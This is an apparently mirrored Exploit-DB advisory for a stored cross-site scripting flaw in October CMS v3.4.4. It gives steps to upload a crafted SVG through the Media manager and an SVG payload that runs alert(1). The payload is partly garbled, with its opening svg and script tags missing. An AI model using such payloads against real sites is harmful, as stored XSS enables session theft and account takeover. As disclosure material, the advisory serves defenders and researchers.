October CMS v3.4.4 – Stored Cross-Site Scripting (XSS) (Authenticated) - 体验盒子

作者： Okan Kurtulus

日期： 2023-07-28

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51630/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#Exploit Title: October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated)

#Date: 29 June 2023

#Exploit Author: Okan Kurtulus

#Vendor Homepage: https://octobercms.com

#Version: v3.4.4

#Tested on: Ubuntu 22.04

#CVE : N/A

# Proof of Concept:

1– Install the system through the website and log in with any user with file upload authority.

2– Select "Media" in the top menu. Prepare an SVG file using the payload below.

3– Upload the SVG file and call the relevant file from the directory it is in. XSS will be triggered.

#Stored XSS Payload:

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

alert(1);

</script>

</svg>